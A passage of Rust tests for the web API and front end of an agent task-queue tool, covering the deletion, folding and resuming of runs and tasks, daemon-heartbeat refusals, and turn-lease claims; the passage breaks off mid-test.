19153            Some("waiting on Task 1".to_owned()),
19154        );
19155        t.answers.push(crate::queue::AnsweredQuestion {
19156            question: "Which backend?".to_owned(),
19157            answer: "SQLite".to_owned(),
19158        });
19159        q.put(&mut t).expect("put t");
19160
19161        let res = fx.get("/api/queue").await;
19162        assert_eq!(res.status, 200);
19163        let list = res.json();
19164        let view = list
19165            .as_array()
19166            .expect("array")
19167            .iter()
19168            .find(|v| v["id"] == t.id)
19169            .expect("task in list");
19170        assert_eq!(view["status_str"], "blocked");
19171        assert_eq!(
19172            view["blocked_by"],
19173            serde_json::json!(["20260101-000000-dead"])
19174        );
19175        assert_eq!(view["block_reason"], "waiting on Task 1");
19176        assert_eq!(view["answers"][0]["question"], "Which backend?");
19177        assert_eq!(view["answers"][0]["answer"], "SQLite");
19178
19179        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
19180        // but never `answers` - that is a settled decision, not state
19181        // describing the current block, so it survives.
19182        let res = fx
19183            .post(&format!("/api/queue/{}/hold", t.short()), None)
19184            .await;
19185        assert_eq!(res.status, 200);
19186        let held = res.json();
19187        assert_eq!(held["status_str"], "held");
19188        assert_eq!(held["blocked_by"], serde_json::json!([]));
19189        assert!(held["block_reason"].is_null());
19190        assert_eq!(held["answers"][0]["answer"], "SQLite");
19191    }
19192
19193    #[tokio::test]
19194    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
19195        let fx = Fixture::start().await;
19196        let q = fx.queue();
19197        let mk = |title: &str| {
19198            Task::new(
19199                title.to_owned(),
19200                "Instruction".to_owned(),
19201                PathBuf::from("/repo"),
19202                Source::Human,
19203            )
19204        };
19205        let mut root = mk("root");
19206        root.hold_manual(Some("waiting".to_owned()));
19207        q.put(&mut root).unwrap();
19208        let mut mid = mk("mid");
19209        mid.block(vec![root.id.clone()], None);
19210        q.put(&mut mid).unwrap();
19211        let mut leaf = mk("leaf");
19212        leaf.block(vec![mid.id.clone()], None);
19213        q.put(&mut leaf).unwrap();
19214
19215        let list = fx.get("/api/queue").await.json();
19216        let find = |id: &str| {
19217            list.as_array()
19218                .unwrap()
19219                .iter()
19220                .find(|v| v["id"] == id)
19221                .unwrap()
19222                .clone()
19223        };
19224        let leaf_view = find(&leaf.id);
19225        assert_eq!(
19226            leaf_view["waits_on"],
19227            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
19228        );
19229        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
19230        assert_eq!(
19231            find(&mid.id)["waits_on"],
19232            serde_json::json!([format!("{} (held)", root.short())])
19233        );
19234        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
19235    }
19236
19237    #[tokio::test]
19238    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
19239        let fx = Fixture::start().await;
19240        let q = fx.queue();
19241
19242        // 1. A queued task with runs attached can be deleted.
19243        let mut t1 = Task::new(
19244            "Task 1".to_owned(),
19245            "Instruction 1".to_owned(),
19246            PathBuf::from("/repo"),
19247            Source::Human,
19248        );
19249        let run_id = "20260901-000000-r111";
19250        t1.runs.push(run_id.to_owned());
19251        write_run(&fx.runs(), run_id, RunStatus::Merged);
19252        q.put(&mut t1).expect("put t1");
19253
19254        // Delete by short id
19255        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
19256        assert_eq!(res.status, 204);
19257        assert!(res.body.is_empty(), "204 No Content has no body");
19258        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
19259        assert!(
19260            fx.runs().join(run_id).exists(),
19261            "run directory must not be deleted when its task is deleted"
19262        );
19263
19264        // 2. A task a live daemon is running is refused with 409.
19265        let mut t2 = Task::new(
19266            "Task 2".to_owned(),
19267            "Instruction 2".to_owned(),
19268            PathBuf::from("/repo"),
19269            Source::Human,
19270        );
19271        t2.status = TaskStatus::Running;
19272        q.put(&mut t2).expect("put t2");
19273        let mut beat = crate::daemon::Status::new();
19274        beat.current = vec![crate::daemon::Current {
19275            task: t2.id.clone(),
19276            run: "20260901-000000-r222".to_owned(),
19277        }];
19278        beat.updated_at = jiff::Timestamp::now();
19279        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19280            .expect("publish a heartbeat");
19281        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
19282        assert_eq!(res.status, 409);
19283        assert!(
19284            res.json()["error"]
19285                .as_str()
19286                .unwrap()
19287                .contains("live daemon")
19288        );
19289        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
19290
19291        // 3. The same `running` status and an orphaned lock, with no daemon
19292        // behind either, is a leftover and deletable. Before this the phone
19293        // refused it for good: the status never changes on its own and
19294        // nothing drops a lock whose process is gone.
19295        // The daemon is killed: the file stays, the heartbeat stops.
19296        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
19297        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19298            .expect("leave a stale heartbeat");
19299        let mut t3 = Task::new(
19300            "Task 3".to_owned(),
19301            "Instruction 3".to_owned(),
19302            PathBuf::from("/repo"),
19303            Source::Human,
19304        );
19305        t3.status = TaskStatus::Running;
19306        q.put(&mut t3).expect("put t3");
19307        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
19308        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
19309        assert_eq!(res.status, 204);
19310        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
19311        assert!(
19312            q.claim(&t3.id).is_ok(),
19313            "the stale lock went with it, so the id is claimable again"
19314        );
19315
19316        // 4. Missing id returns 404
19317        let res = fx.delete("/api/queue/nonexistent").await;
19318        assert_eq!(res.status, 404);
19319    }
19320
19321    #[tokio::test]
19322    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
19323        let fx = Fixture::start().await;
19324        let runs = fx.runs();
19325
19326        // 1. Finished and folded run can be deleted along with artifacts
19327        let run_id = "20260901-000000-fold";
19328        let mut state = RunState::new(
19329            PathBuf::from("/repo"),
19330            "main".to_owned(),
19331            "abc".to_owned(),
19332            "instruction".to_owned(),
19333            Config::default(),
19334        );
19335        state.id = run_id.to_owned();
19336        state.status = RunStatus::Merged;
19337        state.candidates.push(crate::run::Candidate {
19338            index: 0,
19339            label: 'A',
19340            agent: "a".to_owned(),
19341            branch: "b".to_owned(),
19342            worktree: PathBuf::from("/w"),
19343            summary: String::new(),
19344            stat: String::new(),
19345            files: 1,
19346            commits: 1,
19347            empty: false,
19348            failed: None,
19349            verified_noop: None,
19350            duration_ms: 0,
19351            folded: true,
19352        });
19353        let dir = runs.join(run_id);
19354        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
19355        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
19356            .expect("write artifact");
19357        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
19358            .expect("write run.json");
19359
19360        // Delete by short id
19361        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
19362        assert_eq!(res.status, 204);
19363        assert!(res.body.is_empty(), "204 has no body");
19364        assert!(!dir.exists(), "run directory and artifacts must be deleted");
19365
19366        // 2. A run a live daemon is working on is refused with 409. The
19367        // heartbeat is what makes it refusable: an unfinished run with no
19368        // daemon behind it is a leftover from a killed process, and case 1
19369        // above would otherwise be impossible to tell apart from this one.
19370        let run_running = "20260901-000000-rung";
19371        write_run(&runs, run_running, RunStatus::Prep);
19372        let mut beat = crate::daemon::Status::new();
19373        beat.current = vec![crate::daemon::Current {
19374            task: "20260901-000000-task".to_owned(),
19375            run: run_running.to_owned(),
19376        }];
19377        beat.updated_at = jiff::Timestamp::now();
19378        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19379            .expect("publish a heartbeat");
19380        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
19381        assert_eq!(res.status, 409);
19382        assert!(
19383            res.json()["error"]
19384                .as_str()
19385                .unwrap()
19386                .contains("live daemon"),
19387            "the refusal must say who is holding it"
19388        );
19389        assert!(
19390            runs.join(run_running).exists(),
19391            "a run in flight keeps its directory"
19392        );
19393
19394        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
19395        let run_unfolded = "20260901-000000-unfd";
19396        let mut state2 = RunState::new(
19397            PathBuf::from("/repo"),
19398            "main".to_owned(),
19399            "abc".to_owned(),
19400            "instruction".to_owned(),
19401            Config::default(),
19402        );
19403        state2.id = run_unfolded.to_owned();
19404        state2.status = RunStatus::Ready;
19405        state2.candidates.push(crate::run::Candidate {
19406            index: 0,
19407            label: 'A',
19408            agent: "a".to_owned(),
19409            branch: "b".to_owned(),
19410            worktree: PathBuf::from("/w"),
19411            summary: String::new(),
19412            stat: String::new(),
19413            files: 1,
19414            commits: 1,
19415            empty: false,
19416            failed: None,
19417            verified_noop: None,
19418            duration_ms: 0,
19419            folded: false,
19420        });
19421        let dir2 = runs.join(run_unfolded);
19422        std::fs::create_dir_all(&dir2).expect("create dir2");
19423        std::fs::write(
19424            dir2.join("run.json"),
19425            serde_json::to_string(&state2).unwrap(),
19426        )
19427        .expect("write run.json");
19428
19429        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
19430        assert_eq!(res.status, 409);
19431        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
19432        assert!(dir2.exists(), "unfolded run directory is kept");
19433
19434        // 4. Missing id returns 404
19435        let res = fx.delete("/api/runs/nonexistent").await;
19436        assert_eq!(res.status, 404);
19437    }
19438
19439    /// The queue tiles on the Stats tab must render even on a home with no
19440    /// runs at all: queue state is not derived from run history, so hiding
19441    /// the whole dashboard body behind "no runs yet" would drop the one
19442    /// thing this tab promises unconditionally (queued/running/held/done).
19443    /// A DOM-level test would need a browser this suite does not have, so
19444    /// this pins the same invariant textually: `renderStatsQueue` is called
19445    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
19446    /// block that gates the run-derived panels.
19447    #[test]
19448    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
19449        let start = APP_JS
19450            .find("function renderStats() {")
19451            .expect("renderStats");
19452        let end = start
19453            + APP_JS[start..]
19454                .find("function statsTile(")
19455                .expect("the next top-level function");
19456        let body = &APP_JS[start..end];
19457
19458        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
19459        let gate_end = gate_start
19460            + body[gate_start..]
19461                .find("}\n  renderStatsQueue")
19462                .expect("the gate's own closing brace, right before the unconditional call");
19463        let gated = &body[gate_start..gate_end];
19464
19465        assert_eq!(
19466            body.matches("renderStatsQueue(").count(),
19467            1,
19468            "renderStats must call renderStatsQueue exactly once: {body}"
19469        );
19470        assert!(
19471            !gated.contains("renderStatsQueue"),
19472            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
19473             run-derived panels on an empty run history - the queue panel has to render \
19474             regardless: {gated}"
19475        );
19476    }
19477
19478    #[test]
19479    fn web_ui_delete_contract_in_front_end() {
19480        // 1. API block has both delete endpoints
19481        assert!(APP_JS.contains("deleteRun:"));
19482        assert!(APP_JS.contains("deleteTask:"));
19483
19484        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
19485        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
19486            ..APP_JS.find("function renderRuns").unwrap()];
19487        assert!(!run_cards_slice.to_lowercase().contains("delete"));
19488
19489        // 3. Run detail has delete entry and reasons
19490        assert!(APP_JS.contains("renderRunDelete"));
19491        assert!(APP_JS.contains("runDeleteReason"));
19492        assert!(APP_JS.contains("magi fold"));
19493        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
19494
19495        // 4. Two-step delete arming and focus on Cancel
19496        assert!(APP_JS.contains("cancel.focus"));
19497        assert!(APP_JS.contains("armedRunDelete"));
19498        assert!(APP_JS.contains("renderTaskDeleteBox"));
19499        assert!(APP_JS.contains("armed${cap(key)}"));
19500
19501        // 5. Running task has disabled delete
19502        assert!(APP_JS.contains("disabled: status === \"running\""));
19503    }
19504
19505    /// Every element a run card's updater reaches for must be in the `refs`
19506    /// the builder handed it.
19507    ///
19508    /// `createRunCard` builds its elements, appends them to the card, and then
19509    /// lists them again in `row.refs`. That second list is the one the updater
19510    /// uses, and nothing connects the two - an element can be built, appended
19511    /// and rendered, and still be missing from `refs`. `superseded` was, for
19512    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
19513    /// exception took `syncList` with it, and the deck showed
19514    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
19515    /// line is computed before the cards, which is why the failure looked like
19516    /// a server that had lost its runs rather than a front end that had
19517    /// stopped rendering them.
19518    ///
19519    /// A `cargo test` cannot execute the front end, so this reads the two
19520    /// halves out of the source and compares them as sets. It is not a check
19521    /// on the wording of either list: adding an element, renaming one, or
19522    /// reordering them all keeps this passing, and only using one the builder
19523    /// never published fails it.
19524    #[test]
19525    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
19526        let build = APP_JS
19527            .find("function createRunCard")
19528            .expect("createRunCard exists");
19529        let update = APP_JS
19530            .find("function updateRunCard")
19531            .expect("updateRunCard exists");
19532        let end = APP_JS
19533            .find("function renderRuns")
19534            .expect("renderRuns exists");
19535
19536        // The builder's published set: the object literal assigned to `refs`.
19537        let builder = &APP_JS[build..update];
19538        let open = builder.find("refs = {").expect("createRunCard sets refs");
19539        let literal = &builder[open + "refs = {".len()..];
19540        let close = literal.find('}').expect("the refs literal is closed");
19541        let published: HashSet<&str> = literal[..close]
19542            .split(',')
19543            // `name` and `name: value` both bind `name`.
19544            .filter_map(|entry| entry.split(':').next())
19545            .map(str::trim)
19546            .filter(|name| !name.is_empty())
19547            .collect();
19548        assert!(
19549            published.len() > 5,
19550            "the refs literal did not parse into names: {published:?}"
19551        );
19552
19553        // What the updaters reach for: every `r.<name>`, where `r` is the
19554        // `const r = row.refs` alias both functions open with.
19555        let mut used: Vec<&str> = Vec::new();
19556        let updaters = &APP_JS[update..end];
19557        for (at, _) in updaters.match_indices("r.") {
19558            // `r` must be the whole identifier, not the tail of another one
19559            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
19560            let before = updaters[..at].chars().next_back();
19561            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
19562                continue;
19563            }
19564            let rest = &updaters[at + 2..];
19565            let len = rest
19566                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
19567                .unwrap_or(rest.len());
19568            if len > 0 {
19569                used.push(&rest[..len]);
19570            }
19571        }
19572        assert!(
19573            used.len() > 5,
19574            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
19575        );
19576
19577        let missing: Vec<&str> = used
19578            .iter()
19579            .copied()
19580            .filter(|name| !published.contains(name))
19581            .collect();
19582        assert!(
19583            missing.is_empty(),
19584            "a run card's updater reaches for {missing:?}, which `createRunCard` \
19585             never put in `refs` - every card will throw and the list will \
19586             render empty under a count line that says otherwise. Published: \
19587             {published:?}"
19588        );
19589    }
19590
19591    #[tokio::test]
19592    async fn folding_from_the_phone_reports_what_it_removed() {
19593        let fx = Fixture::start().await;
19594        let runs = fx.runs();
19595
19596        // A run with no candidates has nothing to fold, which is a 200 with an
19597        // honest count rather than an error: the operator asked for the trees
19598        // to be gone and they are.
19599        let id = "20260901-000000-fold";
19600        write_run(&runs, id, RunStatus::Stalled);
19601        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
19602        assert_eq!(res.status, 200);
19603        assert_eq!(res.json()["removed_count"], 0);
19604        assert_eq!(res.json()["run"], id);
19605        assert!(
19606            runs.join(id).exists(),
19607            "a fold keeps the run's record; only the worktrees go"
19608        );
19609    }
19610
19611    #[tokio::test]
19612    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
19613        let fx = Fixture::start().await;
19614        let runs = fx.runs();
19615        let wt = fx.home.path().join("wt").join("magi").join("dead");
19616        let id = "20260901-000000-dead";
19617        std::fs::create_dir_all(runs.join(id)).expect("run dir");
19618        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
19619        std::fs::create_dir_all(&wt).expect("worktree dir");
19620
19621        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
19622        assert_eq!(res.status, 200, "{}", res.body);
19623        assert!(
19624            res.json()["removed_count"].as_u64().unwrap() > 0,
19625            "the worktree this build could not read a state for still went"
19626        );
19627        assert!(
19628            !runs.join(id).exists(),
19629            "an unreadable run has no candidate list to fold selectively, so \
19630             the whole record goes - same as `magi fold` on the CLI"
19631        );
19632    }
19633
19634    #[tokio::test]
19635    async fn deleting_an_unreadable_run_removes_it_wholesale() {
19636        let fx = Fixture::start().await;
19637        let runs = fx.runs();
19638        let wt = fx.home.path().join("wt").join("magi").join("gone");
19639        let id = "20260901-000000-gone";
19640        std::fs::create_dir_all(runs.join(id)).expect("run dir");
19641        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
19642        std::fs::create_dir_all(&wt).expect("worktree dir");
19643
19644        let res = fx.delete(&format!("/api/runs/{id}")).await;
19645        assert_eq!(res.status, 204, "{}", res.body);
19646        assert!(!runs.join(id).exists(), "the broken record is gone");
19647        assert!(!wt.exists(), "its worktree is gone too");
19648    }
19649
19650    #[tokio::test]
19651    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
19652        let fx = Fixture::start().await;
19653        let runs = fx.runs();
19654        let id = "20260901-000000-live";
19655        write_run(&runs, id, RunStatus::Implementing);
19656
19657        let mut beat = crate::daemon::Status::new();
19658        beat.current = vec![crate::daemon::Current {
19659            task: "20260901-000000-task".to_owned(),
19660            run: id.to_owned(),
19661        }];
19662        beat.updated_at = jiff::Timestamp::now();
19663        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19664            .expect("publish a heartbeat");
19665
19666        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
19667        assert_eq!(res.status, 409);
19668        assert!(
19669            res.json()["error"]
19670                .as_str()
19671                .unwrap()
19672                .contains("live daemon"),
19673            "folding under a running agent would pull its worktree away"
19674        );
19675    }
19676
19677    #[tokio::test]
19678    async fn fold_merged_requires_a_pr_url() {
19679        let fx = Fixture::start().await;
19680        let runs = fx.runs();
19681        let id = "20260901-000000-nourl";
19682        write_run(&runs, id, RunStatus::Blocked);
19683
19684        let res = fx
19685            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
19686            .await;
19687        assert_eq!(res.status, 400, "{}", res.body);
19688
19689        let blank = fx
19690            .post(
19691                &format!("/api/runs/{id}/fold-merged"),
19692                Some(r#"{"pr_url":"   "}"#),
19693            )
19694            .await;
19695        assert_eq!(blank.status, 400, "{}", blank.body);
19696    }
19697
19698    #[tokio::test]
19699    async fn fold_merged_is_404_for_an_unknown_run() {
19700        let fx = Fixture::start().await;
19701        let res = fx
19702            .post(
19703                "/api/runs/nosuchrun/fold-merged",
19704                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
19705            )
19706            .await;
19707        assert_eq!(res.status, 404, "{}", res.body);
19708    }
19709
19710    #[tokio::test]
19711    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
19712        let fx = Fixture::start().await;
19713        let runs = fx.runs();
19714        let id = "20260901-000000-livemerge";
19715        write_run(&runs, id, RunStatus::Blocked);
19716
19717        let mut beat = crate::daemon::Status::new();
19718        beat.current = vec![crate::daemon::Current {
19719            task: "20260901-000000-task".to_owned(),
19720            run: id.to_owned(),
19721        }];
19722        beat.updated_at = jiff::Timestamp::now();
19723        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19724            .expect("publish a heartbeat");
19725
19726        let res = fx
19727            .post(
19728                &format!("/api/runs/{id}/fold-merged"),
19729                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
19730            )
19731            .await;
19732        assert_eq!(res.status, 409, "{}", res.body);
19733        assert!(
19734            res.json()["error"]
19735                .as_str()
19736                .unwrap()
19737                .contains("live daemon"),
19738            "correcting a run's merge underneath a running agent would race \
19739             whatever it is doing to the same `status`/`merge` fields"
19740        );
19741    }
19742
19743    /// A pull request `gh` cannot even ask about (no such remote, no such
19744    /// repository) must never be recorded as a merge on a guess - the same
19745    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
19746    /// command line, reached here through the phone route instead.
19747    #[tokio::test]
19748    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
19749        let fx = Fixture::start().await;
19750        let runs = fx.runs();
19751        let id = "20260901-000000-unconfirmed";
19752        write_run(&runs, id, RunStatus::Blocked);
19753
19754        let res = fx
19755            .post(
19756                &format!("/api/runs/{id}/fold-merged"),
19757                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
19758            )
19759            .await;
19760        assert_eq!(res.status, 400, "{}", res.body);
19761        assert_eq!(
19762            read_run(&runs, id).unwrap().status,
19763            RunStatus::Blocked,
19764            "a pull request that could not be confirmed merged must leave \
19765             the run exactly where it was"
19766        );
19767    }
19768
19769    #[tokio::test]
19770    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
19771        let fx = Fixture::start().await;
19772        let runs = fx.runs();
19773
19774        // Only a finished run and a failed one. An *interrupted* run - a
19775        // parked one, or one whose daemon was killed mid-node - is the case
19776        // resuming exists for: run 4043 sat at `reviewing` with the deck
19777        // saying it could not be resumed, which was the one state where
19778        // resuming was the only sensible answer.
19779        for (status, word) in [
19780            (RunStatus::Merged, "merged"),
19781            (RunStatus::Ready, "ready"),
19782            (RunStatus::Failed, "failed"),
19783        ] {
19784            let id = format!("20260901-000000-{}", &word[..4]);
19785            write_run(&runs, &id, status);
19786            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
19787            assert_eq!(res.status, 409, "{word} must not be resumable");
19788            let err = res.json()["error"].as_str().unwrap().to_owned();
19789            assert!(err.contains(word), "the refusal names the status: {err}");
19790        }
19791
19792        // And an interrupted run is accepted: 202, with the resume running in
19793        // the background. `Runner::resume` fails immediately here - the
19794        // fixture's run points at a repository that does not exist - which is
19795        // the point: the handler must not wait for it to find out.
19796        let mid = "20260901-000000-midf";
19797        write_run(&runs, mid, RunStatus::Reviewing);
19798        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
19799        assert_eq!(res.status, 202, "an interrupted run is resumable");
19800    }
19801
19802    #[tokio::test]
19803    async fn resume_is_refused_while_the_loop_is_running() {
19804        let fx = Fixture::start().await;
19805        let runs = fx.runs();
19806        let stalled = "20260901-000000-stal";
19807        write_run(&runs, stalled, RunStatus::Stalled);
19808
19809        // The loop is busy with a *different* run, and that is still a
19810        // refusal: a manual resume must never race whatever the loop itself
19811        // is already driving, whether that is one run or several.
19812        let mut beat = crate::daemon::Status::new();
19813        beat.current = vec![crate::daemon::Current {
19814            task: "20260901-000000-task".to_owned(),
19815            run: "20260901-000000-othr".to_owned(),
19816        }];
19817        beat.updated_at = jiff::Timestamp::now();
19818        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19819            .expect("publish a heartbeat");
19820
19821        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
19822        assert_eq!(res.status, 409);
19823        let err = res.json()["error"].as_str().unwrap().to_owned();
19824        assert!(err.contains("othr"), "it names what the loop is on: {err}");
19825        assert!(err.contains("stop it first"), "{err}");
19826    }
19827
19828    #[test]
19829    fn a_run_cannot_be_resumed_twice_at_once() {
19830        let home = TempDir::new().expect("temp home");
19831        let ui = Ui::new(
19832            Queue::at(home.path().join("queue")),
19833            Questions::at(home.path().join("questions")),
19834            Talks::at(home.path().join("talks")),
19835            home.path().join("runs"),
19836            home.path().to_path_buf(),
19837            PathBuf::from("/repo"),
19838        )
19839        .with_worktrees_root(home.path().join("wt"));
19840        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
19841        let again = ui.begin_resume("20260901-000000-once");
19842        assert!(again.is_err(), "a second tap must not start a second graph");
19843        drop(first);
19844        assert!(
19845            ui.begin_resume("20260901-000000-once").is_ok(),
19846            "and the claim is released when the attempt ends"
19847        );
19848    }
19849
19850    #[test]
19851    fn talk_thinking_tracks_only_its_held_turn_claim() {
19852        let home = TempDir::new().expect("temp home");
19853        let ui = Ui::new(
19854            Queue::at(home.path().join("queue")),
19855            Questions::at(home.path().join("questions")),
19856            Talks::at(home.path().join("talks")),
19857            home.path().join("runs"),
19858            home.path().to_path_buf(),
19859            PathBuf::from("/repo"),
19860        )
19861        .with_worktrees_root(home.path().join("wt"));
19862        let id = "20260901-000000-once";
19863
19864        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
19865        let turn = ui.begin_talk_turn(id).expect("claim turn");
19866        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
19867        assert!(
19868            !ui.is_thinking("20260901-000000-other"),
19869            "one talk's turn does not make another talk busy"
19870        );
19871        drop(turn);
19872        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
19873    }
19874
19875    #[test]
19876    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
19877        let home = TempDir::new().expect("temp home");
19878        let talks = Talks::at(home.path().join("talks"));
19879        let ui = Ui::new(
19880            Queue::at(home.path().join("queue")),
19881            Questions::at(home.path().join("questions")),
19882            talks.clone(),
19883            home.path().join("runs"),
19884            home.path().to_path_buf(),
19885            PathBuf::from("/repo"),
19886        )
19887        .with_worktrees_root(home.path().join("wt"));
19888        let id = "20260901-000000-cross";
19889
19890        let other = Talks::at(home.path().join("talks"))
19891            .claim_turn(id)
19892            .expect("claim")
19893            .expect("the other process wins");
19894        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
19895        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
19896        assert!(
19897            matches!(
19898                ui.begin_talk_turn_unless_pending(id).expect("start"),
19899                TalkTurnStart::Foreign
19900            ),
19901            "a foreign holder is refused, not queued behind"
19902        );
19903        assert!(
19904            !ui.talk_turns.lock().unwrap().live.contains(id),
19905            "a refused claim leaves no in-process entry behind"
19906        );
19907        drop(other);
19908        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
19909        assert!(talks.turn_held(id), "the web turn holds the lease");
19910        drop(turn);
19911        assert!(
19912            !talks.turn_held(id),
19913            "dropping the guard releases the lease"
19914        );
19915    }
19916
19917    fn consult_question(ui: &Ui) -> Question {
19918        let mut q = Question::new(
19919            "20260901-000000-consult".to_owned(),
19920            "implement".to_owned(),
19921            "impl-A".to_owned(),
19922            "Which backend?".to_owned(),
19923            String::new(),
19924            vec!["SQLite".to_owned(), "Redis".to_owned()],
19925        );
19926        ui.questions.put(&mut q).expect("question");
19927        q
19928    }
19929
19930    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
19931        (
19932            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
19933            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
19934        )
19935    }
19936
19937    #[tokio::test]
19938    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
19939        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
19940        let q = consult_question(&ui);
19941        let talk = ui.talks.get(&id).expect("talk");
19942        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
19943        let before = consult_snapshot(&ui, &q, &id);
19944        let cli_talks = Talks::at(ui.home.join("talks"));
19945        assert_eq!(
19946            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
19947                .await
19948                .expect("CLI starter"),
19949            crate::consult::Started::Busy
19950        );
19951        assert_eq!(consult_snapshot(&ui, &q, &id), before);
19952        assert!(ui.is_thinking(&id));
19953        drop(guard);
19954        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
19955    }
19956
19957    #[tokio::test]
19958    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
19959        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
19960        let q = consult_question(&ui);
19961        let talk = ui.talks.get(&id).expect("talk");
19962        let started = tmp.path().join("started");
19963        let release = tmp.path().join("release");
19964        let script = tmp.path().join("consult-agent.sh");
19965        std::fs::write(
19966            &script,
19967            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
19968        )
19969        .expect("script");
19970        let mut cfg = stub_config();
19971        cfg.agents[0].id = "mock".to_owned();
19972        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
19973        cfg.agents[0].env = std::collections::BTreeMap::from([
19974            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
19975            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
19976        ]);
19977        let questions = ui.questions.clone();
19978        let cli_talks = Talks::at(ui.home.join("talks"));
19979        let cli_q = q.clone();
19980        let turn = tokio::spawn(async move {
19981            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
19982        });
19983        let ready = tokio::time::timeout(Duration::from_secs(30), async {
19984            while !started.exists() {
19985                tokio::time::sleep(Duration::from_millis(10)).await;
19986            }
19987        })
19988        .await;
19989        // Always release and join the agent, even if readiness or the web
19990        // request fails, so a failed assertion cannot leave a turn behind.
19991        let refusal = if ready.is_ok() {
19992            let before = consult_snapshot(&ui, &q, &id);
19993            let result = talk_say(
19994                State(Arc::clone(&ui)),
19995                Path(id.clone()),
19996                Ok(Json(NewTalkTurn {
19997                    reply_to: None,
19998                    text: "another message".to_owned(),
19999                    attachments: Vec::new(),
20000                })),
20001            )
20002            .await;
20003            Some((result, before, consult_snapshot(&ui, &q, &id)))
20004        } else {
20005            None
20006        };
20007        std::fs::write(&release, "").expect("release agent");
20008        let done = turn.await.expect("join CLI turn");
20009        ready.expect("agent started before deadline");
